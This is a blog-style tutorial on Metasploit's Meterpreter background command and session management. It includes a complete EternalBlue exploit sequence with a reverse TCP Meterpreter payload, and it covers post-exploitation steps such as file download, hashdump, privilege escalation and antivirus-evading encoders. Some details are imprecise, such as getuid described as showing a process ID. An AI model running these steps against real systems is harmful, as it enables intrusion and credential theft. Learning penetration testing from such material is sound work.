Metasploit Background Session: Background Command Basics

/ Learning, Tools / By

Metasploit is a powerful and widely-used framework in cybersecurity that offers various tools to identify and exploit system vulnerabilities. One of the essential components of Metasploit is Meterpreter, an advanced and versatile payload that allows for various post-exploitation activities.

Among the many features provided by Meterpreter, the background command comes in handy when working with multiple exploits or sessions simultaneously.

The background command is key when trying to run additional tasks, like testing different exploits or doing privilege escalation. Putting the current Meterpreter session in the background allows to switch between sessions or processes without losing or haltering ongoing post-exploitation activities.

Employing Metasploit’s background command is a valuable technique that helps maximize the platform’s efficiency, enabling better management of multiple sessions and speeding up the process of finding vulnerabilities and securing systems.

As a result, understanding the functionality and use of the background command in Meterpreter is necessary for those seeking success in cybersecurity.

Understanding the Background Command

Purpose of the Background Command

The background command in Metasploit is a useful tool for managing multiple active sessions within the framework. It allows users to temporarily pause an ongoing Meterpreter session and switch to another one to perform additional tasks, such as testing different exploits or running privilege escalation exploits.

Metasploit is designed to accommodate multiple simultaneous sessions, and using the background command enables users to manage these active sessions efficiently.

It helps them save time and effort by allowing them to perform tasks in parallel without terminating an existing session.

Usage of the Background Command

To utilize the background command, a user would simply enter the command while in an active Meterpreter session. This action will pause the current session and return the user to the Metasploit console, where they can execute other commands or manage additional sessions.

Some common scenarios where the “background” command might be useful include:

  • When multiple exploits need to be tested against a target
  • When a user wants to run a privilege escalation, exploit on an already compromised system
  • When a user is pivoting through a network and needs to work on different systems simultaneously

Managing Backgrounded Sessions

Once a session is backgrounded, it remains active, and the user can easily switch back to it or between other sessions.

To list all backgrounded sessions, the user can execute the sessions command. Each session will have an assigned session number used to interact with that specific session.

To resume a backgrounded session, the user can enter:

sessions -i <session_number> command, replacing <session_number> with the desired session number.

This command will bring the selected session back to the foreground, allowing the user to continue working within it.

The background command in Metasploit is an essential tool for managing multiple active Meterpreter sessions. It enables users to pause and switch between sessions as needed, allowing them to conduct various tasks efficiently and simultaneously.

Starting a Metasploit Background Session

Steps to Initiate a Session

The Metasploit Framework is a popular toolset used for penetration testing and security assessments. Exploits and payloads are integral parts of this framework.

In certain situations, penetration testers might need to run multiple exploits or sessions concurrently. This is where initiating and managing a Metasploit background session becomes valuable.

  1. Choose the exploit and payload: The first step is to choose an appropriate exploit and payload based on the target’s vulnerabilities. The Metasploit Framework offers a vast collection of exploits and payloads.
  2. Set up your target’s details: Provide the necessary information, such as the target IP address, port number, username, and password.
  3. Launch the exploit: This will involve running the exploit command, which initiates the exploit process. Once the target system is compromised, a Meterpreter shell may be delivered to the tester.
  4. Run the background command: In situations where additional tasks are necessary, such as testing another exploit or managing multiple active sessions, you can run the background command to put the current Meterpreter session in the background.

Here’s an example of how these steps can be executed:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <TARGET_IP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <YOUR_IP>
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on <YOUR_IP>:4444
[*] Metasploit payload is delivered
meterpreter > background
[*] Backgrounding session <SESSION_IDENTIFIER>...

When a session is placed in the background, it continues to run, and the connection to the target host remains active.

This provides flexibility, as testers can manage multiple active sessions and pivot between them as needed.

Managing Meterpreter Sessions

Using Common Meterpreter Commands

One of the key tasks while working with Meterpreter is managing sessions. During the post-exploitation phase, understanding and using common Meterpreter commands can give you better control over your target’s system.

Interact with Sessions

When managing multiple sessions, knowing how to interact with them is essential. To view and list available sessions, use the sessions command. For example:

sessions -l

The command above lists all active sessions with their associated IDs, making it easier to switch between them. To interact with a specific session, use the -i flag followed by the session ID:

sessions -i <session_id>

This command will get you back to the Meterpreter shell after backgrounding it.

Navigating the Target System

When browsing files and directories on the target system, the pwd command shows the current working directory and the. “cd” command helps you change directories:

meterpreter > pwd
meterpreter > cd /path/to/directory

Obtaining System Information

To gather essential information about the system, several commands can be used. The getuid command displays the process ID and the user account associated with the Meterpreter session:

meterpreter > getuid

The sysinfo command provides further details, such as the target operating system:

meterpreter > sysinfo

For network information, the ipconfig command displays the target’s IP address and network configuration:

meterpreter > ipconfig

Monitoring User Activity

User activity can be monitored with commands like idletime, which shows the amount of time since the last input was received from the user:

meterpreter > idletime

Working with Running Processes

During the hacking process, you may need to interact with running processes on the target system. The ps command lists all active processes:

meterpreter > ps

Remember to approach these tasks carefully and ethically while using Metasploit and Meterpreter.

Navigating Files and Directories

When working with Metasploit background sessions, it’s useful to know how to navigate files and directories on the target machine.

Manipulating the File System

Listing Files and Directories

One of the primary tasks when working with a target machine is to list files and directories in the current working directory.

Metasploit provides the ls command for this purpose. By executing the ls command, you can easily view the contents of the target’s files and directories.

meterpreter > ls

Changing Directories

To navigate to different directories, Metasploit provides the cd command. For example, to change to the Desktop directory, you would use the following command:

meterpreter > cd Desktop

Displaying the Working Directory

To determine the current working directory, use the pwd command within the Meterpreter session. This will return the absolute path of the current directory on the target machine.

meterpreter > pwd

Local Working Directory

It is also essential to keep track of your local working directory while navigating the file system of the target machine.

Metasploit’s lpwd command displays the current local working directory on your machine.

meterpreter > lpwd

Changing Local Directory

To change the local working directory, use the lcd command. This command allows you to specify a new directory path for your local machine.

meterpreter > lcd /path/to/new/directory

Downloading Files

Sometimes, you may want to download files from the target machine to your local machine.

To achieve this, use the download command followed by the source path (on the target machine) and the destination path (on your local machine).

meterpreter > download /path/to/source/file /path/to/destination

Post-Exploitation Modules and Commands

Exploring Metasploit Post-Exploitation Modules

During a penetration testing process, once you’ve successfully exploited a target, the next step is to explore the compromised system further.

This is the stage where Metasploit’s post-exploitation modules and commands come into play. These useful tools allow you to gather valuable information and control the targeted system.

Metasploit comes with a wide variety of post-exploitation modules that cater to different platforms and situations.

These modules include information gathering, privilege escalation, data extraction, and more. Here, we’ll discuss some popular modules and commands that can significantly enhance the penetration testing process.

Meterpreter Commands

Once a Meterpreter session is established, you can use various commands to interact with the target system. Some useful Meterpreter commands include:

  • ps: List running processes on the target system.
  • getuid: Display the effective user account under which the Meterpreter session is running.
  • sysinfo: Display information about the target system, such as OS and architecture.
  • upload and download: Transfer files between the attacker’s machine and the target system.

Privilege Escalation

Sometimes, you might need to escalate your privileges to gain more control over the target system.

Metasploit has several privilege escalation modules that can help you achieve this:

  • getsytem:
    Attempt to elevate the current Meterpreter session to Local System privileges on the target system. This is useful for Windows-based targets.
  • local_exploit_suggester:
    Automatically suggest suitable local exploits based on the target’s system information.

Hashdump

The hashdump module is a vital post-exploitation tool for extracting password hashes from the Windows SAM database.

This can be done using the Meterpreter command hashdump. Once the hashes are obtained, they can be used for password cracking or even pass-the-hash attacks.

Meterpreter Shell

The Meterpreter shell allows you to interact with the target system by executing system commands.

You can open a Meterpreter command shell by clicking “Command Shell” under “Available Actions” (Metasploit Documentation – Rapid7).

This provides a terminal-like interface to execute commands directly on the target system.

Metasploit Modules

Post-exploitation modules in Metasploit can be easily accessed through the search command, followed by a specific keyword, like post/windows for Windows-related modules or post/multi for multiplatform modules (Post Exploitation Metasploit Modules (Reference)).

Multitasking with Background Sessions

Running Multiple Sessions in Parallel

Metasploit allows users to multitask efficiently by using the background command to handle multiple sessions simultaneously.

This flexibility enables security professionals to leverage the powerful capabilities of Metasploit’s Meterpreter while running other exploits, gathering additional information, or performing lateral movement.

To start a background session, the user needs to issue the background command within their active Meterpreter session.

This action puts the current session on hold and allows the user to work on another session or launch a new exploit. For instance, while testing for different exploits, they might encounter a situation requiring additional tasks, such as running a privilege escalation exploit.

It’s possible to manage and switch between multiple sessions using the sessions command. The user can list all the active sessions by typing sessions, and they can interact with a specific session by providing its ID, like this: sessions -i <session id>. Find more on the Metasploit Documentation.

Users might want to run multiple background sessions in parallel when automating Metasploit tasks.

They can achieve this by using the bgrun command or by implementing background threads in their scripts. These methods allow multiple sessions to be running concurrently, further enhancing the efficiency and effectiveness of the user’s exploitation process.

Advanced Techniques and Tips

Using Metasploit Pro and Other Tools

Metasploit Pro offers a user-friendly interface and additional features, making it an excellent choice for professionals.

It collaborates with other tools, such as msfvenom, which is useful for creating custom payloads and encoders to bypass security solutions.

When working with Metasploit, Kali Linux is a popular operating system for penetration testing, as it comes with several pre-installed tools relevant to cybersecurity.

The msfconsole is the primary interface for interacting with the Metasploit framework, and it should be launched with the appropriate commands based on the system being used.

Payloads, Encoders, and Nops

Payloads, encoders, and nops are essential to a successful exploitation process.

Consider using tables and bullet points to visualize and compare different types of payloads, their functions, and how they relate to encoders and nops.

  • Payloads: Various options are available for payloads, including singles and stagers, each designed to perform specific actions on the target machine.
  • Encoders: Encoders help bypass antivirus and intrusion detection systems by obfuscating the payload.
  • Nops: Nops, or no-operation instructions, are used to generate padding in exploits to ensure successful execution.

Working with MSFConsole and Meterpreter Commands

Understanding and mastering msfconsole commands is crucial for a successful penetration test.

Examples of essential msfconsole commands include the check option and variables, like setting RHOSTS and LHOSTS. To gain further knowledge about available commands, type help in the msfconsole.

The background command is particularly useful when working with multiple sessions simultaneously. It allows putting the current Meterpreter session in the background, letting users manage other tasks, such as launching new exploits or privilege escalations.

To interact with the background session again, use the sessions command followed by the session ID.

Once a successful exploit is achieved, the Meterpreter payload provides various post-exploitation commands. These commands can help gather information, maintain access, and escalate privileges on the target system.

SSL and Quiet Mode

When transferring sensitive information during an exploitation process, encrypting network traffic with SSL is an essential security measure. This ensures that data being transferred between the attacker and target machine is difficult to intercept and analyze.

In addition, enabling the quiet mode helps reduce unnecessary output in the console. This benefits experienced penetration testers who want to streamline their activities and focus better on essential tasks.

Examples and Use Cases

Metasploit’s background command lets you handle multiple sessions simultaneously. This section focuses on real-world scenarios involving Metasploit background sessions.

Real-world Metasploit Background Session Scenarios

Windows 7 and Windows 10 Exploitation

When testing vulnerabilities in Windows 7 and Windows 10 systems, it’s common to use Metasploit’s background session feature.

An attacker might be running a privilege escalation exploit on Windows 7 while testing another exploit on Windows 10.

This is done by backgrounding the current session and starting a new one to exploit the other target.

UUID-based Targeting

Suppose a penetration tester wants to target multiple systems with different UUIDs. With the background session feature, it’s possible to run an msf exploit targeting a specific UUID while keeping other sessions in the background.

Executable File Analysis

Metasploit can analyze executable files as well. The background command feature allows a security researcher to run the analysis of an executable in one session while keeping other sessions, like network scanning or exploit testing, running in the background.

Ruby-based Custom Exploits

Metasploit’s framework is based on the Ruby language. Attackers often use Ruby scripts to extend Metasploit’s built-in features. With background command capabilities, a tester can run their custom Ruby-based exploit while working with other built-in tools and exploits in separate sessions.

Metasploit’s background session feature allows penetration testers to multitask when exploiting systems, analyzing executables, or testing custom Ruby-based exploits.

This functionality is invaluable for working efficiently and effectively, especially when targeting multiple systems with diverse characteristics like Windows 7, Windows 10, or UUID-based targets.

This brings us to the end of our article. The background command is a practical tool within the Metasploit framework. By harnessing its abilities, users can perform post-exploitation tasks, efficiently manage sessions, and execute additional exploits when needed.

I wish you all the best in your learning journey. And stay cultivated.